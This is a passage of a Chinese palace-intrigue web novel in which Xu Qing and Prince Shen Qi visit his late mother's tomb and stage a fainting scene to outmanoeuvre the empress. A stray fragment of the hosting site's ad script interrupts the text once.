闻言,一直垂着头的沈祁讶异地挑了挑眉,似是惊奇他的父皇竟会说出这番话来。 而后他们又听到上首的帝王道,“时候不早了,诸位早些回府歇息吧。” 众人行礼,齐声告退。 这厢散场那厢却不太平。 深夜的成王府书房内,沈硕此刻满面怒容,挥手将桌案上的东西全部洒落。 砚台狠狠砸落在地发出闷响,漆黑的墨沾污了宣纸。 沈硕双臂撑在空荡荡的桌案上,垂着头,纵使死死压抑,却依旧掩不住嗓音中的怒气。 “废物!缘尘楼保不住了,叶家和刘家也没了,本王还剩什么?!” 那夜潜入驿站,和徐清对话的暗卫此刻就站在沈硕面前,看着勃然大怒的沈硕,他先是沉默了一会儿,而后稍显冷静地开口:“缘尘楼肯定是保不得了,不仅保不得,还得将这关系脱的干干净净,不可让陛下盯上咱们。” “至于刘家和叶家,或许我们能保下一个。” 闻言,沈硕猛地抬头,看着那心腹暗卫。 “保谁?” “先前刘家因江南私劫粮草一事,已让陛下不满,刘家覆灭是迟早的事,此番,我们只得保叶家,弃刘家。” 沈硕思索了一番,心道确实只得如此了,他这下直起了身子,问:“有何方法可保下叶家。” “只需让忠义伯揽下所有罪责,将忠文侯干干净净地摘出去,即可。” “属下记得,忠义伯只有一位公子,王爷不如就承诺忠义伯,会将他这唯一的公子保下来,只要他愿意揽下所有的罪责,届时让刘公子假死,再收入成王府做个侍卫,日后也是我们的刀,毕竟忠义伯和整个刘家可是因为静王才没的。” 沈硕听完,这才散去面上的怒容,勾起一抹笑。 转瞬又因听到‘静王’二字想到徐清,面上瞬间又有些阴沉,“说到静王,徐家姊妹不是早就进京了吗?徐家那四姑娘没传信给我们?” 那暗卫听了这话赶忙回想了一下,“进京也不过几日,或许尚在考虑?” 而后又突然想起,先前同徐清说的是,将信递到缘尘楼,如今缘尘楼没了,那四姑娘信该往哪递呢? 沈硕显然也想到这个问题。 那暗卫瞧着他的脸色,斟酌了一下,“不如,再给四姑娘递个信?” 沈硕眯了眯眼,这一而再再而三地去求一个姑娘,他觉得这已算是奇耻大辱,可如今折了个刘家和一个缘尘楼,他的势力一下就被削弱了,他确实需要徐清的帮忙。 纵使这姑娘只是一个只知道后宅之事的草包,但她是嫁给沈祁,沈祁又与沈瑜是一起的,若这姑娘愿意助他,只是将一些消息告诉他,这对他来说也是对付沈祁和沈瑜的莫大助力。 思及此,他点了点头,“那就再给她递一次信,告诉她,本王明日申时在……”话至此顿住,目光看向暗卫,仿佛在询问如今还有哪是可以安全谈事的。 那暗卫快速思索一番,“不如就…春涧居吧?先前属下查过,这不过就是一个江南来的商人在此开的一家茶楼,是安全的。” 沈硕十分信任这暗卫,闻言便点头,“那便春涧居,申时,本王在春涧居等她。” “是。” 16. 十六 周惊山 徐清第二日醒来时已经晌午,看着屋外的日头,她怔了怔。 歌瑾在一旁告诉她,徐妗已经替她向舅母说了身子不适,不便前去前厅同她们一起用膳。 兰夫人听了十分担忧,赶忙想找大夫一同前来,被徐妗拦下后,派人送来了吃食和一些补品,并吩咐下人好好照顾徐清。 徐清听后默了一瞬,最后只点点头,而后问起歌瑾今日有何消息。 “昨儿夜里,陛下宣忠文侯和忠义伯进宫,随后便将二人打入大牢,今儿一早传来的消息是,忠义伯认罪,刘家因私置产业,擅挖密道,加之先前在江南扣押赈灾粮草一事,被陛下以无视大梁律法之罪下旨满门抄斩,而忠文侯被放了出来。” “还有大理寺卿王寒辰被查出与忠义伯的交易往来,被陛下以懈怠职责之罪革职,今生不得再入仕,现如今的大理寺卿正是上一任大理寺少卿云思起。” 歌瑾说完,徐清点了点头,想到沈祁,便又问,“还有吗?” 闻言,歌瑾想了想,又道,“还有今儿早朝时,陛下因静王查案有功赐了赏,同时下旨让盛王去忠义伯交代的据点将所有姑娘救出来,再行安抚之事,并彻底切断这条以女子为商品的交易链。” 徐清听完,愣了愣神。 须臾,叹了口气。 这皇帝的偏袒可不要太明显。 在心中怜爱了下沈祁后,她便打算动身去那处院子里看看许钰如何了。 也该将许钰送回江南了,昨儿白日里她就收到了来自江南的,她三哥的信,信里痛斥她瞒而不告。 看着浸透了纸的墨迹,徐清反复都看见她那三哥瞪眼的样子,不免有些头疼。 她换了身衣服,与栖枝一起带着寻竹匆匆赶到那处别院。 许钰和萍娘身上的都是徐清给她们带的新衣裙,此刻二人瞧见徐清走进来,便走上前来迎。 萍娘行了个大礼,唤她“恩人……” 徐清扶起她,“不必如此,如今此间事了,你可以回家了,我记得你说过你是庐州人,我会派人护送你回庐州的。” 因着那些被救出来的姑娘都由大理寺负责送回,但萍娘是她先救出来的,若是把人交到大理寺那难免引人注意,所以徐清打算自己派人送萍娘回庐州。 萍娘感激地又行了一个大礼,嘴里念着感激之词,徐清无奈地又扶起她。 为了避免她再行大礼道谢,忙让她进屋去收拾东西。 让萍娘进屋后,徐清转头看向一旁的许钰,此时许钰微微笑着看她。 看着许钰这幅表情,徐清没由来地鼻头一圈,眼眶都红了一圈。 许钰瞧着她这样,笑得更开了,上前靠近她,嘴里还调侃着,“恩人,怎么感觉你要哭了?” 徐清听她叫恩人,没好气地抬手拍了她一下,“吓死我了你,下回可别再一个人到处乱跑了,你不知道寻竹那天来驿站寻我的时候哭得有多惨。” 许钰无奈的笑笑,指着身后的又是哭的满脸泪水的寻竹,“我现在是知道了。” 寻竹在她身后抽抽搭搭的,“小…小姐真的…吓死奴…奴婢了。” 许钰赶忙又过去给她擦眼泪,边擦还边笑着同徐清说:“你可别哭啊,我一个人可哄不来两个人。” 栖枝在一旁递了个帕子给许钰寻竹二人,寻竹低声道了谢。 徐清听了这话没好气地哼了声,“我这是气的,你知道你这一丢,我都不敢告诉我三哥,他昨儿可是来信了,信里给我骂的狗血淋头的,你可快点回去吧,你再不回去,他能直接杀来京城。” 许钰讪笑,自知理亏,“好好好,听你安排。” 此时,养心殿内。 下了朝的帝王与静王在此对弈。 此时的帝王已经换下了龙袍,而沈祁却还穿着朝服。 “昨儿夜里,朕梦见了你母后。”帝王的声线低沉,在说这句话时又有些柔和。 沈祁执棋的手顿了一瞬,又很快反应过来,他抬眼看向他父皇,轻轻眨了眨眼。 “她怪朕这些年对你不好,责备朕没有一个父亲的样子。” 闻言,沈祁笑开,“许是太多未去见过母后,母后怪罪儿臣了。” 帝王摇摇头,“不,你母后怪的是朕。” “你觉得,朕苛待你了吗?” 十岁那年,他母后突发恶疾,不治身亡,未有仔细诊断便匆匆下葬。 姨母在母后下葬后便自请入寺,不久后那宫女便成为皇后,他从中宫嫡子沦落。 宫中多是见风使舵之人,他的日子又怎会好过,不过是封王后,独立了府邸,才比之前在宫中过得好罢了。 沈祁敛了笑,放下一子,“父皇与儿臣除了父子关系,还是君与臣,我知父皇是想磨练儿臣。” 嗓音平淡,听不出什么情绪。 帝王深深地看了眼沈祁,不再多说,他瞧着眼前的棋局,许久后,才叹了口气。 “明日,你带着徐家女去皇陵见见你母后吧,让她瞧瞧她的儿媳妇。” “是。” “你与你四哥同徐家姊妹的婚事该定下了。”皇帝吩咐一旁的公公,“去礼部交代下去吧。” 话毕,沈祁放下棋子,也不多留,行了一礼后稳步离开。 在他看不见的视角里,帝王坚挺的背脊在他转身的那刻佝偻了下来。 帝王看着小儿子离开的背影慢慢消失,缓缓闭上了眼。 他撒谎了。 他没梦到他母后,近十年间,一次也没有。 哪怕他日日诵经,柳青瓷也不曾来见他一次。 皇帝要徐家四姑娘明日同静王一同去皇陵的消息到达兰府时,徐清已从外面回来,同徐妗正在院子里品茗观鱼。 她此前将许钰和萍娘二人一同送出城外,安排了居源和的人分别送二人回江南和庐州。 出城时,还见到了周惊山,彼时她还在同萍娘和许钰话别。 他换下了那夜的布衣,重新穿回了他那身劲装。 刚见面,周惊山便两掌相叠,对她行了一礼。 嘴里道:“多谢徐四姑娘。” 徐清听到这句话,真的笑无奈了,今儿人人都同她道谢。 她亦回了一礼,“周公子亦是大义之人。” 周惊山闻言一愣,随后摆手,“一介粗人,当不得大义二字,不过是看不惯他们那般勾当罢了。” 徐清微微笑着,嗓音轻柔,“这本与公子无关,但公子见了便愿意以身试险,去阻止去揭发,这便是公子的大义。” 周惊山这下被她夸得有些不好意思,也不知该如何回话了。 徐清又笑着问他,“公子是江湖中人?” 周惊山应她:“一介粗人,浪迹江湖罢了。” 徐清听着他一直强调自己是个粗人,心下微叹,多了份思量。 她抬手又行一礼,微微笑着祝福他,“那便祝公子,往后青山绿水,在江湖中,自在潇 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 洒。” …… “昨夜……”徐妗放下茶杯,斟酌着开口出声。 听到声音的徐清猛地回神,将视线从溪中游鱼转到徐妗身上。 “清清,在江南时,你说这未必是死局,阿姐便知你来京城必定会行危险之事。”徐妗顿了顿,“阿姐知你有不少本事,但阿姐希望你平安无事,所以……” 她抬眼与徐清对视,“阿姐也希望能做些什么。” 二人对视良久,而后又相视而笑。 “阿姐,我们与静王怀王已是一条船上的人了,这偌大的皇城远比我们想的要复杂。” “阿姐知晓了。” 姐妹二人之间的默契不必多言,便知对方的言下之意。 徐清回到屋中,桌案上是栖枝整理好的京城各世家的关系图。 栖枝坐在她旁边,时不时回答徐清的问题。 歌瑾被她派出去护送许钰回江南了,此时便有栖枝跟在她身边。 除了理顺了这世家间的关系在,栖枝还带回了一个消息。 “忠文侯家小姐叶然,先前与宋太傅次子宋阳有婚约,不日便会完婚了。” 徐清闻言,又细看了要那图,眉梢一扬。 叶家,是成王派的。 宋家,是静王派的。 此时忠文侯方从大牢出来,叶家摇摇欲坠,宋家竟还要娶。 徐清觉得,这京城的关系确实复杂,令人难解。 而因为这件事,宋家内部也吵过了多回,最终还是在宋阳的坚持下,与叶家定下了这门亲事。 此时,静王府内。 从养心殿回来的沈祁换下朝服,着了一身常服,发丝全部束成高马尾,别上了一支玉簪。 此时宋阳一脸忐忑地坐在沈祁对面。 “王爷,你不会怪我吧?” 沈祁漠然抬眼,看着宋阳的神色有些不解地扬了扬眉,示意他细说。 “王爷,我知叶家是成王那边的,亦知叶家如今已被陛下盯上,正是因为这样我才执意求娶叶然的,我与她自小一同长大,不能看着她身陷囹圄,若我娶了她,以后即使叶家出了什么事,她也可受宋家庇护,受……” 话至此,宋阳声音低了下去,小心翼翼地看着沈祁。 沈祁无语地垂眼,帮他把未说完的话补上,“受本王的庇护。” 宋阳安静下来,有些忐忑,不确定自己此番坚持是否会打乱沈祁的计划,但他亦不想放弃叶然。 沈祁执壶倒了杯茶,放在宋阳面前,茶杯落桌的轻微声响吓了宋阳身子不自觉地一抖。 沈祁瞧着他这样,动作一顿,面上有些无语又有些无奈。 “无事,你兄长不也娶了赵家女。” “一个女子而已,影响不了本王的计划,你不必如此。”话音刚落,他面上的表情一顿,想起昨夜徐清脸上那微讽的笑。 那边的宋阳听了刚松一口气,就又听见沈祁喃喃,“也不是……” 也不是所有女子都影响不了他的计划。 宋阳疑惑,“什么?” 沈祁回神,睨了眼宋阳,“本王说,你原先便与叶家姑娘有婚约,此时若选择退婚倒还会被人戳脊梁骨,还会引起父皇的注意,所以你不用担心,你喜欢,娶回家去便是。” 说完,还不等宋阳露出害羞的表情,就立刻下逐客令。 “事说完了?把茶喝了就走罢。” 宋阳一脸茫然:“?” 17. 十七 演戏 徐清是昨儿同舅父舅母一同用晚膳时才得知今日要与沈祁一同去见先皇后。 此时,与沈祁同坐一辆马车里头,她还蛮想问问,他们二人还未成婚,她便同他一起去祭拜先皇后真的合礼数吗,但转念一想,这旨意是陛下下的,合不合礼数也不重要了。 马车上,沈祁斜倚着,闭目养神。 二人一路无话。 今日因为是来祭拜先皇后的,徐清特意着了一身浅色的衣裙,绾了个简单但又不失庄重的发式,发间别了根白玉簪子。 此时他亦步亦趋地跟在沈祁身后,进入皇陵时,沈祁屏退了跟着的公公和婢女们。 沈祁今日十分沉默,束起的高马尾和一身浅色衣裳少年气十足,却难掩面上哀意。 沈祁带着徐清停在一座墓前,徐清看着沈祁,自觉先退后一步。 她知晓须给沈祁同他母后说话的空间,可在皇陵里她也不可随意走动,便只能自觉往后退,先尽量站远些。 沈祁余光中瞥见了她的动作,倒也没说什么。 “母后,儿臣来看你了,许久没来,母后可怪儿臣?” 他说着,跪在墓碑前,抬起手,擦了擦墓碑。 他看着墓碑,静默了一会儿,随后唇边勾起一抹笑,眼里却没什么笑意。 “父皇为儿臣赐了一桩婚,今日让儿臣带来与母后见见。” 说完,他回头,刚想喊徐清过来,便见她垂着头,站姿端正,一幅与世隔绝的样子。 他怔了下,而后嘴边噙了笑,他唤她,“徐四姑娘。” 徐清正沉浸在自己的世界里,放空了思绪,以让自己可以避免听见沈祁与先皇后说话,此时乍一听见沈祁唤她,整个人猛地回神,眼神还有着空,看向沈祁时,眼睛还有些湿漉漉的。 沈祁瞧她的样子笑意又深了几分,他站起身,面对着徐清,“来见见我母后。” 徐清应了一声,缓缓走上前,停在墓碑前,刚要行礼,胳膊就被一只大手隔着衣袖扶住,她怔然抬眼看去,就见沈祁眉眼低垂着看她,唇边噙着笑。 “母后不喜欢他人总是对她行礼,你同她说说话吧。” 徐清直起身子,看看他,又看看那先皇后的墓碑,面上有些犹疑。 “我…我同皇后娘娘说话吗?” 沈祁看着她的样子,挑挑眉,弯腰凑近,“你怎么好像有点紧张?” 在江南把他一个皇子丢在林子里耍不紧张,在密道里面对一片漆黑不紧张,现在站在他母后的墓前紧张。 这徐四姑娘还挺有意思的。 他以为徐清会否认,没想到徐清还挺坦然地点点头,“有点,我不知道说什么。” 沈祁愣了下,仔细想想,现下他们二人也还未成婚,他今日带着她来,是以未婚妻的身份带她来的吧。 这样想着,他看着徐清,“你同母后说说你是何人,家住各方,年方几龄。” 主要沈祁也不知道徐清该同他母后说些什么,便就这么像瞎扯似的告诉徐清。 没想到徐清也点点头,倒还真的跪在墓碑前,声音清凌凌的,“臣女名徐清,字锦贞,今岁方及笄,家住江南,现居兰府。” 说完,她抬首看向站在身旁的沈祁,对上沈祁垂眸而来的视线后眨眨眼,示意说完了,还有什么可以说的吗。 沈祁瞧着她如同一池春水般柔静的清眸,现下的她倒是十分信赖他,突然地他起了逗弄她的坏心思。 他唇角勾起一个戏谑的弧度,又佯装在头疼地思索,最后道:“我们也接触过多回了,不如…你同我母后说说,我是个怎么样的人?” 徐清一怔,看着他不怀好意的笑顿了顿,随后面上也荡开笑,点头,“好啊。” 看她答应地这么爽快,沈祁浓眉一挑。 而后就见她笑意盈盈地向后行了个请的动作,“请王爷回避一下?” 见沈祁不动,还一脸‘这是我母后,我为什么要回避’的表情,徐清垂首叹了口气,语气有些低,“方才王爷同皇后娘娘说话时,我也回避了的。” 声音里隐隐透着些委屈和难过,不知是真的还是装的,反正言下之意就是,我都回避了,你也回避一下吧。 沈祁瞧着她的样子,笑出声,“行。” 说完,走到徐清方才站得位置,而后对着徐清也做了个‘请’的动作。 徐清笑笑又转回身子,看着眼前的墓碑又犯了难。 她本来是看出了沈祁有意作弄她才说让他回避的,但在先皇后的墓碑前都答应下来,好像不说又有点不敬。 那该说些什么呢…… 沈祁是个什么样的人啊…… 思索了一下,刚想开口又犯了难。 她与沈祁还未成婚,不能唤先皇后娘娘为母后吧,唤先皇后娘娘又感觉不太对。 算了,就唤娘娘吧。 徐清跪在墓碑前内心纠结,站在不远处的沈祁可没像她先前那样放空自己不去听她说了什么。 毕竟都是习武之人,耳朵还是很灵敏的。 但现下他都站了好一会儿了,那边的徐清还是安安静静的。 沈祁心里纳闷着,说说他在她心里头是个什么样的人这么难说吗?半天了都憋不出一个字来。 他刚想上前,就听见了徐清的声音响起,可能是怕他会听见,还特意压低了些。 “娘娘,”徐清先开口唤人,“小女初次前来,有些紧张,不知该说些什么,王爷让小女同您说说他。” 听到这,沈祁跨出去的步子收了回来,双臂不自觉地抱在胸前。 而那边的徐清说到这,又不知该怎么说下去了。 想想不管怎么样,母亲总是会喜欢听别人夸她儿子的吧。 那就……闭眼乱夸吧。 “王爷是个……很好的人。” 怎么感觉这句话说的这么勉强。 沈祁扬眉。 “爱护百姓,十分有责任心。” 毕竟他本来的任务是查陈家,但还是陪着她查了女子失踪案。 “心思单纯,又善良大度。” 她说不会武功,他便带着她一同跳入湖中,这不就是单纯嘛。她后来胡扯说她为了不拖后腿一夜习武,他看起来像是不信,倒也不追究被骗,还有之前在江南因为被赐婚有气耍了他一遭的事,他竟也不计较,这可不就是善良大度。 但说到这,她又停住。 主要是,从她与沈祁在江南初见,再到缘尘楼再见,总的算起来她与沈祁的相处和交流都不算多,她还真不了解沈祁是个什么样的人。 再加上她如今跪在这,莫名地紧张,大脑又一片空白,连乱夸都缺词。 那边的沈祁听着,前一句时还赞许在心里头点点头,毕竟是立志做上那位置的,可不得爱护百姓,有责任心嘛。 但听到后一句时,他倒是有点迷惑,善良大度他接受了,单纯…这何以见得啊…… 而且这么久了,这姑娘竟然就憋出了三句话。 想到这,沈祁唇边的弧度立刻拉平了。 而那边的徐清突然想到,那时她第一次问沈祁缘尘楼时谁的产业时他不说,后来她将折扇送了过去表示合作后,第二次问他才愿说的事。 而后她又意识到她在这跪的也蛮久了,沈祁应该以为她说了蛮多的吧,那她在用一句话给娘娘做个总结就行了吧。 于是,她抬头看着墓碑上金灿灿的字,认真道,“王爷还是个警惕心极强,有勇有谋的人,未来势必会是一位好君王。” “还望娘娘多多保佑,让他这条路走的顺遂些。” 他顺遂些,她,还有整个徐家也能顺遂些。 这是徐清的想法,可那边的沈祁听了这句话却是愣了一下,这下不仅笑敛了起来,连眼睛里的笑意都散了,目光沉沉地落在徐清身上。 从皇陵里回到兰府,夜里就寝时,徐清做了个梦。 梦里,她还是穿着白日里去皇陵时的那套素色衣裙。 周围一片白茫,只有一架上头雕刻着繁复的纹样,看起来贵气十足的拔步床清晰可见。 床幔撩开,床榻上躺坐着一个美人儿,含笑望着她。 屋外的日光照进屋内,徐清睁开眼,脑中有些怔然。 栖枝从外头走进来低声同她道: “兰夫人让姑娘和二小姐快些梳妆,皇后娘娘要见姑娘和二小姐。” 徐清闻言,回了神,便立刻起身,快速梳妆好,连早膳也来不及用便与徐妗同兰夫人一起,在皇后娘娘身边那宫人的带领下一同进宫。 徐清和徐妗跟着宫人的脚步入殿,在距离那朱红的门槛还有几步时,徐清突然抬头看向殿门口那块用金灿灿的牌匾。 梧栖殿。 徐清眉心不自觉地轻拧了一下,而后又垂下头,脚下步子也没慢。 入了殿,徐清徐妗没有抬头,只在下首行了大礼。 上首静悄悄的,只有珠钗碰撞的轻微声响。 等了好一会儿,上首才传来声音。 “起来罢。” 徐清闭了闭眼,掩了神色。 “谢皇后娘娘——” 几人齐声应,而后起身。 丁枣儿也不说让几人坐下,只在斜倚在榻上,端着茶盏,一派悠闲的模样。 兰夫人不自觉地皱了皱眉,但又不敢将不满表现得太明显。 徐妗垂着眼,轻轻眨了几下,倒没什么反应,只是唇角微微勾了一抹笑,看不出是什么意思。 徐清也垂着眼,像个木头美人,一动不动,连表情也没有任何变化。 她知道,这皇后娘娘是在给她们姐妹二人下马威。 或许是因为她们二人是圣上赐婚给怀王静王的,而怀王和静王分别是柳家女,也就是淑妃和先皇后娘娘的子嗣。 又或许是因为,昨日圣上下了口谕,让沈祁带她去见先皇后。 毕竟,她的孩子是大皇子。 由此便可见,早在柳青瓷嫁入皇家前,丁枣儿便与皇上之间有着不可言说的关系。 那因为权势而不得不娶的柳青瓷,也是使她最开始无法嫁给陛下,成为陛下发妻的柳青瓷,便是她心中的一根刺。 所以,今儿急急忙忙地宣她们姐妹二人入宫,又故意给她们二人下马威,便是心中那根刺扎着的伤口又疼了。 现下破局真的很难,丁枣儿不说话,她们也不能说话。 这无声的责难,她们得生生地受下。 不知过了多久,丁枣儿才悠悠然地开口:“今日……” 才吐出两个字,外头传来了一道尖细地嗓音: “皇上驾到——” 上首的丁枣儿一愣,很快反应过来,抬手将脑袋上的珠钗取下来几根,随手塞进椅塌边。 减去了那几支珠钗的丁枣儿看起来素淡了许多。 徐清余光瞧着她的动作,一直没变过的表情微微笑了下。 丁枣儿做完这些,刚起身准备走出去迎,那边圣上已经走进了大殿。 身边还跟着一个脸色有些焦急的沈瑜,一个表情有些冷意的沈祁。 徐清和徐妗随着兰夫人一同转身,同三人行礼。 这皇帝不像丁枣儿任着她们行了礼而不理,他开口的声音还算亲和。 “都免礼罢。” “谢陛下——”几人齐应。 丁枣儿起了身,走上前刚想同皇帝说些什么,还没来得及开口,就被皇帝打断。 “朕听闻皇后宣了徐家女入宫,便带着这两个小子前来瞧瞧。”他边说边往前走。 落座后又瞧着徐清徐妗,问:“来京城也有一段时日了罢?” 兰夫人福了一礼,以长辈身份代小辈回答:“回陛下,妗儿清清确已入京城有段时日了。” 皇帝点点头,又抬眼看向徐清,“昨儿同老五去见过他母后了?” 徐清垂首盈盈福了一礼,“回陛下,昨儿小女同静王殿下一同去见过娘娘了。” 皇帝又点点头,丝毫没注意到身旁站着的丁枣儿面上闪过的恨意。 徐清轻轻抬眼那瞬捕捉到了丁枣儿脸上的恨意,顿了一瞬,快速垂下眼睫,就瞧见方才进来了却未向丁枣儿行过礼,且在皇帝坐下后自然地站在她身旁的沈祁身侧的手不自觉地握紧了拳。 想来也是看到了丁枣儿的表情。 她飞快地眨了几下眼睛,脑中在思索着什么。 上首的皇帝又开口,“此番进宫了正好,再让老五带你去她母后的寝宫看看。” 徐清闻言,又轻轻眨了下眼,随后福了一礼,应了声,便抬腿想走一步。 刚抬起腿,便如弱柳扶风般倒了下去,一直站在她身旁的沈祁愣了一下,还没反应过来时手已经伸出去稳稳地扶住了徐清。 “清清!”兰夫人惊了一下,忽略了因站久了而有些酸疼的腿腰,嘴里惊呼一声,抬起酸疼的腿就准备到徐清身旁去瞧瞧。 一边的徐妗见徐清忽然倒下也先是一惊,刚想快步上前,就见被沈祁稳稳接着,此刻靠着沈祁的徐清正蹙眉垂眼,一只手搭在腿上轻轻捏了两下。 她快速眨了两下眼,立刻会意。 她悄悄伸出腿踩住身旁兰夫人的裙摆,让兰夫人刚抬腿就踉跄了一下。 随后她又抬起腿往徐清的方向踏出一步,下一瞬,她极轻地惊呼一声,一只手放在腿上,顺势倒下,而站在她身旁的沈瑜迅速接着她。“怎么了?”沈瑜轻声问,语 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沈祁拽着她,手上用力,一下把她拽进了怀里,他冷声道,“既然腿不舒服就别跪了,父皇让我带你去母后寝宫看看,走吧。” 说罢,一把将徐清横抱起来走出了大殿。 他刚跨出大殿,里头沈瑜就立刻将徐妗扶起,还不待皇帝说免礼。 上首的皇帝沉默了一瞬,一旁的丁枣儿脸色十分难看,她对上皇帝看过来的眼神慌张了一瞬,刚想开口辩驳,就见皇帝又移开了目光,看着下头的徐妗温和的开口。 “无碍,你妹妹同老五去见老五他母后了, 你便也同老四去大慈恩寺去见见他母妃吧。” 说罢,又唤了声身边的公公,“传朕旨意,请淑妃出寺,怀王静王婚事,交由她来主持。” “是。” 那得了令的公公带着皇帝的口谕,随着沈瑜徐妗二人前往大慈恩寺。 兰夫人见徐家姐妹二人都被带走了,一下子有些怔愣,只得行一大礼,默默退出了大殿,准备原路先一步回兰府。 一群人浩浩荡荡地离开,梧栖殿一瞬便寂静了下来。 丁枣儿心下有些慌乱,她艰涩开口,想辩解些什么:“陛下,妾身……” “好好休息吧。”皇帝没什么情绪地打断她,拂袖离开了梧栖殿。 丁枣儿怔怔地瞧着他的背影,咬了咬牙,只觉眼眶酸涩。 走出梧栖宫,徐清拍了拍沈祁的肩,这次沈祁倒是如她意将她放了下来。 双脚落地时,徐清便自觉退后一步,向沈祁盈盈一拜,“多谢王爷。” 沈祁睨了她一眼,没应,只自顾自的抬脚往前走。 徐清呼出一口气,缓缓跟上他。 二人一路无言。 进了大殿后,徐清扫视了一圈,抬步想往里间走,忽而被沈祁拽住了手臂。 四目相对,沈祁的目光有些冷,看起来并不想徐清真的把他母后的寝宫当赏景一般闲逛一遍。 徐清垂首,微微挣了一下,将胳膊挣出来。 “冒犯了。” “只是我昨儿夜里回兰府歇下后,做了个梦,梦见了柳皇后娘娘。” 闻言,沈祁的目光茫然了一瞬,似是不解。 徐清朝窗外瞥了一眼,随后视线重新落回沈祁身上。 油纸上映着的人影一闪而过。 沈祁顺着徐清看去的方向微微偏头,回身便见徐清口型道了三个字“丁皇后”,顿时意会,“梦见我母后什么了?” 徐清回忆了一下,张口便就这昨晚的梦境编了个似真似假的梦来。 边说,她边走到里殿的窗边,伸手推开,可以看见宫院里栽种的高树,枝叶繁茂簇拥,几乎要看不到里头的枝干。 徐清凝着那处许久,末了补上一句:“娘娘还说了许多,有关于殿下的,有关于淑妃娘娘的,还有关于柳大人的……” 沈祁走到她身后,问道:“如何证实?” “娘娘昨儿梦里说,内殿床榻边,柜子的最顶格里头……”徐清回首,直直看进沈祁倏然冷下去的眸子。 “有送给殿下未来王妃的礼物。” 窗外忽的刮过一阵风,吹动枝叶发出“沙沙”的声响。 沈祁绕过她,走到塌边的柜子旁。 随后动作利落地拉开了最顶上的那格,取出了两个锦盒。 打开锦盒,里头放了一个成色极好的玉镯,和一块玉佩。 这两样东西下头,压着一张纸。上面写着——“赠吾儿之妻”。 沈祁垂头看着那张薄纸,许久,他拿起那玉镯,转身朝徐清伸出手。 徐清疑惑地看了眼沈祁,又见他一手拿着玉镯,隐隐约约像是明白了他的意思,却不太敢相信。 “殿下是要给我戴?” 沈祁没应,自顾自的地执起徐清的左手,将玉镯套了上去。 徐清倒也没挣扎。 冰凉的触感贴上腕上的肌肤,徐清指尖颤动了一下。 沈祁收回手,这才淡声道,“这是皇祖母赠与我母后的,她生前一直戴着。” 不等徐清说什么,他又将目光落在那块玉佩上。 徐清瞧着他的样子,抿唇也安静下来。 殿内一时安静,窗外风又起,捎来了几片绿叶落在窗棂上。 殿外一道极轻的脚步声匆匆而过。 徐清侧耳听了下,确定了外面的人都走了。 她轻声,“殿下,外头的人都走了。” 沈祁应了声,将锦盒合上。 徐清见状,抬步便想先往殿外走去。 不料刚转身就被沈祁拽住。 她怔然回首,撞进沈祁似笑非笑的眸子里。 “人都走了,徐四姑娘不向本王解释一番吗?” 她默了默,垂首叹出一口气道:“大梁信奉神明,自然也信托梦,我……” “徐四姑娘功夫确实了得。” 沈祁打断她,手上钳制她的手松了开来,身子重新懒洋洋地倚回小几上。 “连凤鸾殿都潜得进来。” 说这话时,他的语气同他的姿势一般懒洋洋的,仿佛在说今日天气不错一般,可徐清无端听出一股压迫感。 他指的是锦盒的事。 这是柳皇后的东西,梦的内容是徐清瞎编的,那徐清之所以能够知道这两样东西,必然是事先潜入过凤鸾殿。 徐清闻言顿了顿,在直接道歉将此事揭过和直接坦诚这部分间犹豫了一瞬。 “抱歉……”她低声道,“但我武功如何,王爷在江南时不就知道了吗?王爷的发丝可还滋养了我屋外的树呢。” 话落,她抬眼,直直望进沈祁的黑瞳中。 18. 十八 托梦告慰之说 二人对视半晌,最后是沈祁率先移开目光,打破了沉默,他问:“你真梦见我母后了? 徐清也转开视线,轻点了下头,“确实是梦见了,不过梦中娘娘也就夸赞了几句。” “夸赞了几句?”沈祁斜靠在凤鸾殿的小几上,手中把玩着徐清送来的折扇,听完徐清所言,眉梢一扬,语气竟有些失望的意味。 徐清皱了皱眉,反问他:“王爷还想怎样? “我母后这么喜欢你,应当还得同你说,早日与我生个大胖小子才是。” 徐清闻言一愣,嘴角扯了扯,却还是难以牵出一个笑来,最后只好木着一张脸看着沈祁。 沈祁瞧着她的表情忍不住笑出声来,笑了许久见徐清眉眼间隐隐有了恼意这才喉间溢出一声低咳,止住了笑。 “腿还酸吗?” 徐清瞥了眼他,摇摇头,“早不酸了。” 何止早不酸了,压根就没酸过,不过是她为了做戏罢了。 “也是,徐四姑娘功夫了得,不至于多跪一会儿,多站一会儿就倒下。” 沈祁笑得揶揄,又点评一句:“可惜了,在大殿上时没有方才在这演的好。” 徐清也承下他的这句评价,笑道:“我与阿姐演技都不太好,好在陛下信了。” 沈祁站直了身子,面上仍挂着笑,语气却认真了许多,“他可不是傻子。” “本也就是让陛下知晓罢了。”徐清淡声,而后话头一落,转身向外走去,“殿下想问的也问了,还不走吗?” 转眼间已至京城一月有余,夏色渐收,暑热将退,风中已有凉爽之气。 自上回中宫召见后又过了三日,兰府的门前又停了一辆马车。 徐妗端坐着,时不时侧眼打量一旁撑着脑袋打盹的徐清。 “阿姐老看我做什么?” 徐清施施然地开口,风拂过布帘溜进车厢里,撩起发丝轻抚过徐清的面颊。 徐妗见打量被发现也就光明正大地瞧着徐清,语气带着调笑:“你昨儿夜里去偷鸡了? 徐清闻言叹了口气,撑着脑袋的手放下,头也顺势垂下,额边的发丝和青丝间簪着的步摇一同下垂晃动。 “不知怎的,总觉得这几日有大事要发生,本想理了理圣旨下来后发生的所有事,结果越理越睡不着。” “我们不知道的事儿太多了。” 徐妗勾了勾唇,抬手将今早徐清自个儿随意簪的步摇扶正,不再同方才一般摇摇欲坠。 “清清先前不是说了,咱们走一步看一步,不着急。” 徐清又叹出一口气,抬起头来,眸子里的愁意渐渐化开些。 “是,走一步看一步,兵来将挡水来土掩罢。” 马车驶过热闹的街道,进入深宫。 未到目的地,马车却在宫道上忽而停了下来。 “姑娘,是淑妃娘娘。” 徐妗的贴身婢女椿欢在马车外低声提醒。 昨日她随着徐妗和沈瑜去了大慈恩寺见了淑妃,自然也认得了淑妃的脸。 徐清和徐妗闻言对视一眼,立刻撩了车帘下车。 柳青烟也是坐着马车被接回来的,她们一行人本是在徐家姐妹的前头,却不知为何停在了着条宫道上。 徐家姐妹在车外礼数周到地向柳青烟问安。 “不必多礼。” 柳青烟抬手撩开帘子,在身旁宫人的搀扶下下了马车。 她先是温和地瞧了眼徐妗,随后才将视线落在徐清身上。 “你就是徐四?” 